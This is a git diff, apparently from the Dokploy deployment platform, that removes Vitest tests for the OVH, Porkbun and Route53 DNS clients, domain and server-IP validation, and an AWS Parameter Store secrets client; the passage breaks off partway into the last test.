-describe("ovhClient.updateRecord", () => {
-	it("updates in place when the type is unchanged", async () => {
-		const cfg = freshConfig();
-		mockApi(
-			ovhSuccess({
-				id: 4,
-				zone: "example.com",
-				fieldType: "A",
-				subDomain: "app",
-				target: "1.1.1.1",
-				ttl: 60,
-			}),
-			ovhSuccess(null),
-			ovhSuccess(null),
-		);
-
-		const result = await ovhClient.updateRecord(cfg, "example.com", "4", {
-			type: "A",
-			name: "app.example.com",
-			content: "1.2.3.4",
-			ttl: 300,
-		});
-
-		expect(result).toEqual({ id: "4" });
-		const calls = apiCalls();
-		expect(calls[1]?.[1].method).toBe("PUT");
-		expect(JSON.parse(calls[1]?.[1].body as string)).toEqual({
-			subDomain: "app",
-			target: "1.2.3.4",
-			ttl: 300,
-		});
-		expect(calls[2]?.[0]).toContain("/refresh");
-	});
-
-	it("replaces the record when the type changes, since PUT carries no fieldType", async () => {
-		const cfg = freshConfig();
-		mockApi(
-			ovhSuccess({
-				id: 4,
-				zone: "example.com",
-				fieldType: "A",
-				subDomain: "app",
-				target: "1.1.1.1",
-				ttl: 60,
-			}),
-			ovhSuccess(null),
-			ovhSuccess({ id: 11 }),
-			ovhSuccess(null),
-		);
-
-		const result = await ovhClient.updateRecord(cfg, "example.com", "4", {
-			type: "CNAME",
-			name: "app.example.com",
-			content: "example.com",
-		});
-
-		expect(result).toEqual({ id: "11" });
-		const calls = apiCalls();
-		expect(calls[1]?.[1].method).toBe("DELETE");
-		expect(calls[2]?.[1].method).toBe("POST");
-		expect(JSON.parse(calls[2]?.[1].body as string).fieldType).toBe("CNAME");
-		expect(calls[3]?.[0]).toContain("/refresh");
-	});
-
-	it("restores the original record when the replacement fails", async () => {
-		const cfg = freshConfig();
-		const original = {
-			id: 4,
-			zone: "example.com",
-			fieldType: "A",
-			subDomain: "app",
-			target: "1.1.1.1",
-			ttl: 60,
-		};
-		mockApi(
-			ovhSuccess(original),
-			ovhSuccess(null),
-			ovhError("Invalid target", 400),
-			ovhSuccess({ id: 12 }),
-			ovhSuccess(null),
-		);
-
-		await expect(
-			ovhClient.updateRecord(cfg, "example.com", "4", {
-				type: "CNAME",
-				name: "app.example.com",
-				content: "not a valid target",
-			}),
-		).rejects.toThrow("Invalid target");
-
-		const calls = apiCalls();
-		expect(calls[1]?.[1].method).toBe("DELETE");
-		expect(calls[2]?.[1].method).toBe("POST");
-		// The original record is put back with its own type, target and ttl.
-		expect(JSON.parse(calls[3]?.[1].body as string)).toEqual({
-			fieldType: "A",
-			subDomain: "app",
-			target: "1.1.1.1",
-			ttl: 60,
-		});
-		expect(calls[4]?.[0]).toContain("/refresh");
-	});
-
-	it("reports the lost record when the restore also fails", async () => {
-		const cfg = freshConfig();
-		mockApi(
-			ovhSuccess({
-				id: 4,
-				zone: "example.com",
-				fieldType: "A",
-				subDomain: "app",
-				target: "1.1.1.1",
-				ttl: 60,
-			}),
-			ovhSuccess(null),
-			ovhError("Invalid target", 400),
-			ovhError("Service unavailable", 503),
-		);
-
-		await expect(
-			ovhClient.updateRecord(cfg, "example.com", "4", {
-				type: "CNAME",
-				name: "app.example.com",
-				content: "not a valid target",
-			}),
-		).rejects.toThrow(
-			/Recreate it manually: A app\.example\.com -> 1\.1\.1\.1/,
-		);
-	});
-
-	it("says the change was applied when only the zone refresh fails", async () => {
-		const cfg = freshConfig();
-		mockApi(
-			ovhSuccess({
-				id: 4,
-				zone: "example.com",
-				fieldType: "A",
-				subDomain: "app",
-				target: "1.1.1.1",
-				ttl: 60,
-			}),
-			ovhSuccess(null),
-			ovhSuccess({ id: 11 }),
-			ovhError("Service unavailable", 503),
-		);
-
-		// The replacement succeeded, so the record exists at the provider — only
-		// publishing failed. Rolling back would destroy correct state.
-		await expect(
-			ovhClient.updateRecord(cfg, "example.com", "4", {
-				type: "CNAME",
-				name: "app.example.com",
-				content: "example.com",
-			}),
-		).rejects.toThrow(/was applied, but refreshing zone "example\.com" failed/);
-	});
-
-	it("does not tell the user to recreate a record that was restored but not published", async () => {
-		const cfg = freshConfig();
-		mockApi(
-			ovhSuccess({
-				id: 4,
-				zone: "example.com",
-				fieldType: "A",
-				subDomain: "app",
-				target: "1.1.1.1",
-				ttl: 60,
-			}),
-			ovhSuccess(null), // DELETE de l'ancien
-			ovhError("Invalid target", 400), // POST de remplacement -> échec
-			ovhSuccess({ id: 12 }), // POST de restauration -> succès
-			ovhError("Service unavailable", 503), // refresh -> échec
-		);
-
-		const attempt = ovhClient.updateRecord(cfg, "example.com", "4", {
-			type: "CNAME",
-			name: "app.example.com",
-			content: "not a valid target",
-		});
-
-		// L'enregistrement existe de nouveau chez OVH : le recréer le dupliquerait.
-		await expect(attempt).rejects.toThrow(/was restored, but refreshing zone/);
-		await expect(attempt).rejects.not.toThrow(/Recreate it manually/);
-	});
-});
-
-describe("ovhClient.deleteRecord", () => {
-	it("deletes the record then refreshes the zone", async () => {
-		const cfg = freshConfig();
-		mockApi(ovhSuccess(null), ovhSuccess(null));
-
-		await ovhClient.deleteRecord(cfg, "example.com", "4");
-
-		const calls = apiCalls();
-		expect(calls[0]?.[0]).toContain("/domain/zone/example.com/record/4");
-		expect(calls[0]?.[1].method).toBe("DELETE");
-		expect(calls[1]?.[0]).toContain("/domain/zone/example.com/refresh");
-	});
-
-	it("does not refresh the zone when the delete fails", async () => {
-		const cfg = freshConfig();
-		mockApi(ovhError("This object does not exist", 404));
-
-		await expect(
-			ovhClient.deleteRecord(cfg, "example.com", "4"),
-		).rejects.toThrow("This object does not exist");
-		expect(apiCalls()).toHaveLength(1);
-	});
-});
-
-describe("ovhClient.testConnection", () => {
-	it("resolves when the zone listing succeeds", async () => {
-		const cfg = freshConfig();
-		mockApi(ovhSuccess([]));
-
-		await expect(ovhClient.testConnection(cfg)).resolves.toBeUndefined();
-	});
-
-	it("rejects on invalid credentials", async () => {
-		const cfg = freshConfig();
-		mockApi(ovhError("Invalid signature", 403));
-
-		await expect(ovhClient.testConnection(cfg)).rejects.toThrow(
-			"Invalid signature",
-		);
-	});
-});

apps/dokploy/__test__/dns/porkbun.test.ts

@@ -1,237 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-const mockFetch = vi.fn();
-global.fetch = mockFetch as typeof fetch;
-
-import { porkbunClient } from "@dokploy/server/utils/dns/porkbun";
-
-const jsonResponse = (body: unknown, ok = true, status = 200) =>
-	({
-		ok,
-		status,
-		json: async () => body,
-	}) as Response;
-
-const pbSuccess = (result: Record<string, unknown> = {}) =>
-	jsonResponse({ status: "SUCCESS", ...result });
-
-const pbError = (message: string, status = 400) =>
-	jsonResponse({ status: "ERROR", message }, false, status);
-
-const config = {
-	providerType: "porkbun" as const,
-	apiKey: "pk1_test",
-	secretApiKey: "sk1_test",
-};
-
-beforeEach(() => {
-	mockFetch.mockReset();
-});
-
-describe("porkbunClient.listZones", () => {
-	it("lists all domains as zones", async () => {
-		mockFetch.mockResolvedValue(
-			pbSuccess({ domains: [{ domain: "example.com" }] }),
-		);
-
-		const zones = await porkbunClient.listZones(config);
-
-		expect(zones).toEqual([{ id: "example.com", name: "example.com" }]);
-		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
-		expect(url).toContain("/domain/listAll");
-		const body = JSON.parse(init.body as string);
-		expect(body).toMatchObject({
-			apikey: "pk1_test",
-			secretapikey: "sk1_test",
-		});
-	});
-});
-
-describe("porkbunClient.listRecords", () => {
-	it("lists records for a domain", async () => {
-		mockFetch.mockResolvedValue(
-			pbSuccess({
-				records: [
-					{
-						id: "1",
-						type: "A",
-						name: "app.example.com",
-						content: "1.2.3.4",
-						ttl: "600",
-						prio: "0",
-						notes: "",
-					},
-				],
-			}),
-		);
-
-		const records = await porkbunClient.listRecords(config, "example.com");
-
-		expect(records).toEqual([
-			{
-				id: "1",
-				type: "A",
-				name: "app.example.com",
-				content: "1.2.3.4",
-				ttl: 600,
-			},
-		]);
-		expect(mockFetch.mock.calls[0]?.[0]).toContain("/dns/retrieve/example.com");
-	});
-});
-
-describe("porkbunClient.upsertRecord", () => {
-	it("creates a record when none exists for the name/type", async () => {
-		mockFetch
-			.mockResolvedValueOnce(pbSuccess({ records: [] }))
-			.mockResolvedValueOnce(pbSuccess({ id: "new-1" }));
-
-		const result = await porkbunClient.upsertRecord(config, {
-			zoneId: "example.com",
-			type: "A",
-			name: "app.example.com",
-			content: "1.2.3.4",
-		});
-
-		expect(result).toEqual({ id: "new-1" });
-		const [lookupUrl] = mockFetch.mock.calls[0] as [string];
-		expect(lookupUrl).toContain("/dns/retrieveByNameType/example.com/A/app");
-		const [createUrl, createInit] = mockFetch.mock.calls[1] as [
-			string,
-			RequestInit,
-		];
-		expect(createUrl).toContain("/dns/create/example.com");
-		const body = JSON.parse(createInit.body as string);
-		expect(body).toMatchObject({ name: "app", type: "A", content: "1.2.3.4" });
-	});
-
-	it("resolves the apex domain to an empty subdomain", async () => {
-		mockFetch
-			.mockResolvedValueOnce(pbSuccess({ records: [] }))
-			.mockResolvedValueOnce(pbSuccess({ id: "new-2" }));
-
-		await porkbunClient.upsertRecord(config, {
-			zoneId: "example.com",
-			type: "A",
-			name: "example.com",
-			content: "1.2.3.4",
-		});
-
-		const [lookupUrl] = mockFetch.mock.calls[0] as [string];
-		expect(lookupUrl).toContain("/dns/retrieveByNameType/example.com/A/");
-	});
-
-	it("edits the existing record when content matches", async () => {
-		mockFetch
-			.mockResolvedValueOnce(
-				pbSuccess({ records: [{ id: "existing-1", content: "5.6.7.8" }] }),
-			)
-			.mockResolvedValueOnce(pbSuccess({}));
-
-		const result = await porkbunClient.upsertRecord(config, {
-			zoneId: "example.com",
-			type: "A",
-			name: "app.example.com",
-			content: "5.6.7.8",
-		});
-
-		expect(result).toEqual({ id: "existing-1" });
-		const [editUrl] = mockFetch.mock.calls[1] as [string, RequestInit];
-		expect(editUrl).toContain("/dns/edit/example.com/existing-1");
-	});
-
-	it("creates a new record when content differs from existing", async () => {
-		mockFetch
-			.mockResolvedValueOnce(
-				pbSuccess({ records: [{ id: "existing-1", content: "1.1.1.1" }] }),
-			)
-			.mockResolvedValueOnce(pbSuccess({ id: "new-2" }));
-
-		const result = await porkbunClient.upsertRecord(config, {
-			zoneId: "example.com",
-			type: "A",
-			name: "app.example.com",
-			content: "5.6.7.8",
-		});
-
-		expect(result).toEqual({ id: "new-2" });
-		const [createUrl, createInit] = mockFetch.mock.calls[1] as [
-			string,
-			RequestInit,
-		];
-		expect(createUrl).toContain("/dns/create/example.com");
-		const body = JSON.parse(createInit.body as string);
-		expect(body).toMatchObject({ name: "app", type: "A", content: "5.6.7.8" });
-	});
-
-	it("defaults ttl to 600 when not provided", async () => {
-		mockFetch
-			.mockResolvedValueOnce(pbSuccess({ records: [] }))
-			.mockResolvedValueOnce(pbSuccess({ id: "new-1" }));
-
-		await porkbunClient.upsertRecord(config, {
-			zoneId: "example.com",
-			type: "CNAME",
-			name: "www.example.com",
-			content: "example.com",
-		});
-
-		const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
-		const body = JSON.parse(createInit.body as string);
-		expect(body.ttl).toBe(600);
-	});
-});
-
-describe("porkbunClient.updateRecord", () => {
-	it("edits the given record id", async () => {
-		mockFetch.mockResolvedValue(pbSuccess({}));
-
-		const result = await porkbunClient.updateRecord(
-			config,
-			"example.com",
-			"1",
-			{
-				type: "A",
-				name: "app.example.com",
-				content: "9.9.9.9",
-				ttl: 300,
-			},
-		);
-
-		expect(result).toEqual({ id: "1" });
-		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
-		expect(url).toContain("/dns/edit/example.com/1");
-		expect(JSON.parse(init.body as string)).toMatchObject({
-			name: "app",
-			type: "A",
-			content: "9.9.9.9",
-			ttl: 300,
-		});
-	});
-});
-
-describe("porkbunClient.deleteRecord", () => {
-	it("posts to the delete endpoint for the given record id", async () => {
-		mockFetch.mockResolvedValue(pbSuccess({}));
-
-		await porkbunClient.deleteRecord(config, "example.com", "1");
-
-		const [url] = mockFetch.mock.calls[0] as [string];
-		expect(url).toContain("/dns/delete/example.com/1");
-	});
-});
-
-describe("porkbunClient.testConnection", () => {
-	it("succeeds when the credentials can ping the API", async () => {
-		mockFetch.mockResolvedValue(pbSuccess({}));
-		await expect(porkbunClient.testConnection(config)).resolves.toBeUndefined();
-	});
-
-	it("surfaces Porkbun's error message on invalid credentials", async () => {
-		mockFetch.mockResolvedValue(pbError("Invalid API key."));
-
-		await expect(porkbunClient.testConnection(config)).rejects.toThrow(
-			"Invalid API key.",
-		);
-	});
-});

apps/dokploy/__test__/dns/route53.test.ts

@@ -1,385 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-type HasInput = { input: any };
-
-const {
-	send,
-	Route53Client,
-	ListHostedZonesCommand,
-	ListResourceRecordSetsCommand,
-	ChangeResourceRecordSetsCommand,
-} = vi.hoisted(() => {
-	class FakeCommand {
-		input: any;
-		constructor(input: any) {
-			this.input = input;
-		}
-	}
-	const send = vi.fn();
-	class Route53Client {
-		send(command: unknown) {
-			return send(command);
-		}
-	}
-	return {
-		send,
-		Route53Client,
-		ListHostedZonesCommand: class extends FakeCommand {},
-		ListResourceRecordSetsCommand: class extends FakeCommand {},
-		ChangeResourceRecordSetsCommand: class extends FakeCommand {},
-	};
-});
-
-vi.mock("@aws-sdk/client-route-53", () => ({
-	Route53Client,
-	ListHostedZonesCommand,
-	ListResourceRecordSetsCommand,
-	ChangeResourceRecordSetsCommand,
-}));
-
-import { route53Client } from "@dokploy/server/utils/dns/route53";
-
-const config = {
-	providerType: "route53" as const,
-	accessKeyId: "AKIA_TEST",
-	secretAccessKey: "secret",
-};
-
-beforeEach(() => {
-	send.mockReset();
-});
-
-describe("route53Client.listZones", () => {
-	it("strips the hostedzone prefix and the trailing dot", async () => {
-		send.mockResolvedValueOnce({
-			HostedZones: [{ Id: "/hostedzone/Z123", Name: "example.com." }],
-			IsTruncated: false,
-		});
-
-		const zones = await route53Client.listZones(config);
-
-		expect(zones).toEqual([{ id: "Z123", name: "example.com" }]);
-	});
-
-	it("follows the marker until IsTruncated is false", async () => {
-		send
-			.mockResolvedValueOnce({
-				HostedZones: [{ Id: "/hostedzone/Z1", Name: "a.com." }],
-				IsTruncated: true,
-				NextMarker: "marker-1",
-			})
-			.mockResolvedValueOnce({
-				HostedZones: [{ Id: "/hostedzone/Z2", Name: "b.com." }],
-				IsTruncated: false,
-			});
-
-		const zones = await route53Client.listZones(config);
-
-		expect(zones).toEqual([
-			{ id: "Z1", name: "a.com" },
-			{ id: "Z2", name: "b.com" },
-		]);
-		expect(send).toHaveBeenCalledTimes(2);
-		expect((send.mock.calls[1]?.[0] as HasInput).input.Marker).toBe("marker-1");
-	});
-});
-
-describe("route53Client.listRecords", () => {
-	it("builds a type:name id and strips the trailing dot from the name", async () => {
-		send.mockResolvedValueOnce({
-			ResourceRecordSets: [
-				{
-					Name: "app.example.com.",
-					Type: "A",
-					TTL: 300,
-					ResourceRecords: [{ Value: "1.2.3.4" }],
-				},
-			],
-			IsTruncated: false,
-		});
-
-		const records = await route53Client.listRecords(config, "Z123");
-
-		expect(records).toEqual([
-			{
-				id: "A:app.example.com",
-				type: "A",
-				name: "app.example.com",
-				content: "1.2.3.4",
-				ttl: 300,
-			},
-		]);
-	});
-
-	it("skips record sets with no ResourceRecords (e.g. alias targets)", async () => {
-		send.mockResolvedValueOnce({
-			ResourceRecordSets: [
-				{ Name: "alias.example.com.", Type: "A", ResourceRecords: [] },
-			],
-			IsTruncated: false,
-		});
-
-		const records = await route53Client.listRecords(config, "Z123");
-
-		expect(records).toEqual([]);
-	});
-
-	it("joins multiple values for the same record", async () => {
-		send.mockResolvedValueOnce({
-			ResourceRecordSets: [
-				{
-					Name: "example.com.",
-					Type: "NS",
-					TTL: 172800,
-					ResourceRecords: [
-						{ Value: "ns1.example.com" },
-						{ Value: "ns2.example.com" },
-					],
-				},
-			],
-			IsTruncated: false,
-		});
-
-		const records = await route53Client.listRecords(config, "Z123");
-
-		expect(records[0]?.content).toBe("ns1.example.com\nns2.example.com");
-	});
-});
-
-describe("route53Client.upsertRecord", () => {
-	it("sends a single UPSERT change when nothing exists yet", async () => {
-		send
-			.mockResolvedValueOnce({ ResourceRecordSets: [] })
-			.mockResolvedValueOnce({});
-
-		const result = await route53Client.upsertRecord(config, {
-			zoneId: "Z123",
-			type: "A",
-			name: "app.example.com",
-			content: "1.2.3.4",
-		});
-
-		expect(result).toEqual({ id: "A:app.example.com" });
-		const command = send.mock.calls[1]?.[0] as HasInput;
-		expect(command.input.HostedZoneId).toBe("Z123");
-		expect(command.input.ChangeBatch.Changes).toEqual([
-			{
-				Action: "UPSERT",
-				ResourceRecordSet: {
-					Name: "app.example.com.",
-					Type: "A",
-					TTL: 300,
-					ResourceRecords: [{ Value: "1.2.3.4" }],
-				},
-			},
-		]);
-	});
-
-	it("keeps the values already in the record set", async () => {
-		send
-			.mockResolvedValueOnce({
-				ResourceRecordSets: [
-					{
-						Name: "app.example.com.",
-						Type: "A",
-						TTL: 300,
-						ResourceRecords: [{ Value: "1.1.1.1" }, { Value: "2.2.2.2" }],
-					},
-				],
-			})
-			.mockResolvedValueOnce({});
-
-		await route53Client.upsertRecord(config, {
-			zoneId: "Z123",
-			type: "A",
-			name: "app.example.com",
-			content: "3.3.3.3",
-		});
-
-		const command = send.mock.calls[1]?.[0] as HasInput;
-		expect(
-			command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
-		).toEqual([
-			{ Value: "1.1.1.1" },
-			{ Value: "2.2.2.2" },
-			{ Value: "3.3.3.3" },
-		]);
-	});
-
-	it("does not duplicate a value that is already in the record set", async () => {
-		send
-			.mockResolvedValueOnce({
-				ResourceRecordSets: [
-					{
-						Name: "app.example.com.",
-						Type: "A",
-						TTL: 300,
-						ResourceRecords: [{ Value: "1.1.1.1" }],
-					},
-				],
-			})
-			.mockResolvedValueOnce({});
-
-		await route53Client.upsertRecord(config, {
-			zoneId: "Z123",
-			type: "A",
-			name: "app.example.com",
-			content: "1.1.1.1",
-		});
-
-		const command = send.mock.calls[1]?.[0] as HasInput;
-		expect(
-			command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
-		).toEqual([{ Value: "1.1.1.1" }]);
-	});
-
-	it("wraps unquoted TXT values in double quotes", async () => {
-		send
-			.mockResolvedValueOnce({ ResourceRecordSets: [] })
-			.mockResolvedValueOnce({});
-
-		await route53Client.upsertRecord(config, {
-			zoneId: "Z123",
-			type: "TXT",
-			name: "example.com",
-			content: 'v=spf1 ~all\n"already quoted"',
-		});
-
-		const command = send.mock.calls[1]?.[0] as HasInput;
-		expect(
-			command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
-		).toEqual([{ Value: '"v=spf1 ~all"' }, { Value: '"already quoted"' }]);
-	});
-});
-
-describe("route53Client.updateRecord", () => {
-	it("only UPSERTs when the name/type identity did not change", async () => {
-		send.mockResolvedValueOnce({});
-
-		await route53Client.updateRecord(config, "Z123", "A:app.example.com", {
-			type: "A",
-			name: "app.example.com",
-			content: "9.9.9.9",
-		});
-
-		expect(send).toHaveBeenCalledTimes(1);
-		const command = send.mock.calls[0]?.[0] as HasInput;
-		expect(command.input.ChangeBatch.Changes).toHaveLength(1);
-		expect(command.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
-	});
-
-	it("deletes the old record set and creates the new one on rename", async () => {
-		const existingSet = {
-			Name: "old.example.com.",
-			Type: "A",
-			TTL: 300,
-			ResourceRecords: [{ Value: "1.1.1.1" }],
-		};
-		send
-			.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] }) // findExactRecordSet lookup
-			.mockResolvedValueOnce({}); // ChangeResourceRecordSets
-
-		await route53Client.updateRecord(config, "Z123", "A:old.example.com", {
-			type: "A",
-			name: "new.example.com",
-			content: "1.1.1.1",
-		});
-
-		const changeCommand = send.mock.calls[1]?.[0] as HasInput;
-		expect(changeCommand.input.ChangeBatch.Changes).toEqual([
-			{ Action: "DELETE", ResourceRecordSet: existingSet },
-			{
-				Action: "UPSERT",
-				ResourceRecordSet: {
-					Name: "new.example.com.",
-					Type: "A",
-					TTL: 300,
-					ResourceRecords: [{ Value: "1.1.1.1" }],
-				},
-			},
-		]);
-	});
-
-	it("keeps every line of a multi-value record set", async () => {
-		send.mockResolvedValueOnce({});
-
-		await route53Client.updateRecord(config, "Z123", "NS:example.com", {
-			type: "NS",
-			name: "example.com",
-			content: "ns1.example.com\nns2.example.com\n\n  ns3.example.com  ",
-		});
-
-		const command = send.mock.calls[0]?.[0] as HasInput;
-		expect(
-			command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
-		).toEqual([
-			{ Value: "ns1.example.com" },
-			{ Value: "ns2.example.com" },
-			{ Value: "ns3.example.com" },
-		]);
-	});
-
-	it("skips the DELETE when the old record no longer exists", async () => {
-		send
-			.mockResolvedValueOnce({ ResourceRecordSets: [] })
-			.mockResolvedValueOnce({});
-
-		await route53Client.updateRecord(config, "Z123", "A:gone.example.com", {
-			type: "A",
-			name: "new.example.com",
-			content: "1.1.1.1",
-		});
-
-		const changeCommand = send.mock.calls[1]?.[0] as HasInput;
-		expect(changeCommand.input.ChangeBatch.Changes).toHaveLength(1);
-		expect(changeCommand.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
-	});
-});
-
-describe("route53Client.deleteRecord", () => {
-	it("deletes the record set found by name/type", async () => {
-		const existingSet = {
-			Name: "app.example.com.",
-			Type: "A",
-			TTL: 300,
-			ResourceRecords: [{ Value: "1.2.3.4" }],
-		};
-		send.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] });
-		send.mockResolvedValueOnce({});
-
-		await route53Client.deleteRecord(config, "Z123", "A:app.example.com");
-
-		const changeCommand = send.mock.calls[1]?.[0] as HasInput;
-		expect(changeCommand.input.ChangeBatch.Changes).toEqual([
-			{ Action: "DELETE", ResourceRecordSet: existingSet },
-		]);
-	});
-
-	it("throws when the record no longer exists", async () => {
-		send.mockResolvedValueOnce({ ResourceRecordSets: [] });
-
-		await expect(
-			route53Client.deleteRecord(config, "Z123", "A:gone.example.com"),
-		).rejects.toThrow("not found");
-	});
-
-	it("throws for a malformed record id", async () => {
-		await expect(
-			route53Client.deleteRecord(config, "Z123", "not-a-valid-id"),
-		).rejects.toThrow("Invalid Route53 record id");
-	});
-});
-
-describe("route53Client.testConnection", () => {
-	it("resolves when ListHostedZones succeeds", async () => {
-		send.mockResolvedValueOnce({ HostedZones: [] });
-		await expect(route53Client.testConnection(config)).resolves.toBeUndefined();
-	});
-
-	it("propagates SDK errors", async () => {
-		send.mockRejectedValueOnce(new Error("InvalidClientTokenId"));
-		await expect(route53Client.testConnection(config)).rejects.toThrow(
-			"InvalidClientTokenId",
-		);
-	});
-});

apps/dokploy/__test__/domains/domain-validation.test.ts

@@ -1,149 +0,0 @@
-import os from "node:os";
-import {
-	getServerIpCandidates,
-	validateDomain,
-} from "@dokploy/server/services/domain";
-import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
-
-const mocks = vi.hoisted(() => ({
-	execAsyncRemote: vi.fn(),
-	findServerById: vi.fn(),
-	getPublicIpWithFallback: vi.fn(),
-	getWebServerSettings: vi.fn(),
-	resolve4: vi.fn(),
-	resolve6: vi.fn(),
-}));
-
-vi.mock("node:dns", () => ({
-	default: {
-		resolve4: mocks.resolve4,
-		resolve6: mocks.resolve6,
-	},
-}));
-
-vi.mock("@dokploy/server/utils/process/execAsync", () => ({
-	execAsyncRemote: mocks.execAsyncRemote,
-}));
-
-vi.mock("@dokploy/server/services/server", () => ({
-	findServerById: mocks.findServerById,
-}));
-
-vi.mock("@dokploy/server/services/web-server-settings", () => ({
-	getWebServerSettings: mocks.getWebServerSettings,
-}));
-
-vi.mock("@dokploy/server/wss/utils", () => ({
-	getPublicIpWithFallback: mocks.getPublicIpWithFallback,
-}));
-
-describe("getServerIpCandidates", () => {
-	beforeEach(() => {
-		vi.clearAllMocks();
-	});
-
-	afterEach(() => {
-		vi.restoreAllMocks();
-		vi.useRealTimers();
-	});
-
-	it("includes every address reported by a multi-homed remote server", async () => {
-		mocks.findServerById.mockResolvedValue({
-			ipAddress: "10.0.0.10",
-		});
-		mocks.execAsyncRemote.mockResolvedValue({
-			stdout: ["10.0.0.10", "192.0.2.10", "2001:db8::10"].join("\n"),
-			stderr: "",
-		});
-
-		await expect(getServerIpCandidates("server-id")).resolves.toEqual([
-			"10.0.0.10",
-			"192.0.2.10",
-			"2001:db8::10",
-		]);
-		expect(mocks.execAsyncRemote).toHaveBeenCalledWith(
-			"server-id",
-			expect.stringContaining("ip -o addr show scope global"),
-		);
-	});
-
-	it("includes every address assigned to the local Dokploy host", async () => {
-		mocks.getWebServerSettings.mockResolvedValue({
-			serverIp: "10.0.0.10",
-		});
-		mocks.getPublicIpWithFallback.mockResolvedValue("2001:db8::10");
-		vi.spyOn(os, "networkInterfaces").mockReturnValue({
-			eth0: [
-				{
-					address: "192.0.2.10",
-					netmask: "255.255.255.0",
-					family: "IPv4",
-					mac: "00:00:00:00:00:00",
-					internal: false,
-					cidr: "192.0.2.10/24",
-				},
-			],
-		});
-
-		await expect(getServerIpCandidates()).resolves.toEqual([
-			"10.0.0.10",
-			"192.0.2.10",
-			"2001:db8::10",
-		]);
-	});
-
-	it("retains remote interface addresses when public IP detection times out", async () => {
-		vi.useFakeTimers();
-		mocks.findServerById.mockResolvedValue({
-			ipAddress: "10.0.0.10",
-		});
-		mocks.execAsyncRemote.mockImplementation(
-			(_serverId: string, command: string) => {
-				if (command.includes("curl")) {
-					return new Promise(() => undefined);
-				}
-				return Promise.resolve({
-					stdout: "192.0.2.10\n",
-					stderr: "",
-				});
-			},
-		);
-
-		const candidatesPromise = getServerIpCandidates("server-id");
-		await vi.advanceTimersByTimeAsync(7000);
-
-		await expect(candidatesPromise).resolves.toEqual([
-			"10.0.0.10",
-			"192.0.2.10",
-		]);
-	});
-});
-
-describe("validateDomain", () => {
-	afterEach(() => {
-		vi.clearAllMocks();
-	});
-
-	it("validates an IPv6-only domain against an IPv6 server address", async () => {
-		const noIpv4 = Object.assign(new Error("queryA ENODATA example.com"), {
-			code: "ENODATA",
-		});
-		mocks.resolve4.mockImplementation(
-			(_domain: string, callback: (error: Error | null) => void) =>
-				callback(noIpv4),
-		);
-		mocks.resolve6.mockImplementation(
-			(
-				_domain: string,
-				callback: (error: Error | null, addresses?: string[]) => void,
-			) => callback(null, ["2001:db8::10"]),
-		);
-
-		await expect(
-			validateDomain("example.com", ["2001:db8::10"]),
-		).resolves.toMatchObject({
-			isValid: true,
-			resolvedIp: "2001:db8::10",
-		});
-	});
-});

apps/dokploy/__test__/drop/drop.test.ts

@@ -32,8 +32,6 @@ const baseApp: ApplicationNested = {
 	railpackVersion: "0.15.4",
 	applicationId: "",
 	previewLabels: [],
-	networkIds: [],
-	detachDokployNetwork: false,
 	createEnvFile: true,
 	bitbucketRepositorySlug: "",
 	herokuVersion: "",

apps/dokploy/__test__/env/aws-parameter-store.test.ts

@@ -1,195 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-type HasInput = { input: Record<string, unknown> };
-
-const findMany = vi.hoisted(() => vi.fn());
-
-const {
-	send,
-	paginate,
-	SSMClient,
-	GetParametersCommand,
-	DescribeParametersCommand,
-} = vi.hoisted(() => {
-	class FakeCommand {
-		input: Record<string, unknown>;
-		constructor(input: Record<string, unknown>) {
-			this.input = input;
-		}
-	}
-	const send = vi.fn();
-	const paginate = vi.fn();
-	class SSMClient {
-		send(command: unknown) {
-			return send(command);
-		}
-	}
-	return {
-		send,
-		paginate,
-		SSMClient,
-		GetParametersCommand: class extends FakeCommand {},
-		DescribeParametersCommand: class extends FakeCommand {},
-	};
-});
-
-vi.mock("@aws-sdk/client-ssm", () => ({
-	SSMClient,
-	GetParametersCommand,
-	DescribeParametersCommand,
-	paginateDescribeParameters: paginate,
-}));
-
-vi.mock("@dokploy/server/db", () => ({
-	db: {
-		query: {
-			vaultProvider: {
-				findMany: (...args: unknown[]) => findMany(...args),
-			},
-		},
-	},
-}));
-
-import { resolveVaultReferences } from "@dokploy/server/utils/vault";
-import { awsParameterStoreClient } from "@dokploy/server/utils/vault/aws-parameter-store";
-
-const config = {
-	providerType: "aws-parameter-store" as const,
-	region: "eu-central-1",
-	accessKeyId: "AKIA_TEST",
-	secretAccessKey: "secret",
-};
-
-beforeEach(() => {
-	send.mockReset();
-	paginate.mockReset();
-	findMany.mockReset();
-});
-
-describe("awsParameterStoreClient", () => {
-	it("decrypts parameters in batches of ten and preserves selectors", async () => {
-		const refs = [
-			"/prod/database:CURRENT",
-			...Array.from({ length: 10 }, (_, index) => `/prod/secret-${index}`),
-		];
-		send.mockImplementation(async (command: HasInput) => ({
-			Parameters: (command.input.Names as string[]).map((ref) => {
-				if (ref === "/prod/database:CURRENT") {
-					return {
-						Name: "/prod/database",
-						Selector: ":CURRENT",
-						Value: "selected-value",
-					};
-				}
-				return { Name: ref, Value: `value-for-${ref}` };
-			}),
-		}));
-
-		const result = await awsParameterStoreClient.getSecrets(config, refs);
-
-		expect(send).toHaveBeenCalledTimes(2);
-		expect((send.mock.calls[0]?.[0] as HasInput).input).toMatchObject({
-			WithDecryption: true,
-		});
-		expect(
-			((send.mock.calls[0]?.[0] as HasInput).input.Names as string[]).length,
-		).toBe(10);
-		expect(
-			((send.mock.calls[1]?.[0] as HasInput).input.Names as string[]).length,
-		).toBe(1);
-		expect(result["/prod/database:CURRENT"]).toBe("selected-value");
-		expect(result["/prod/secret-9"]).toBe("value-for-/prod/secret-9");
-	});
-
-	it("reports a missing parameter without exposing other values", async () => {
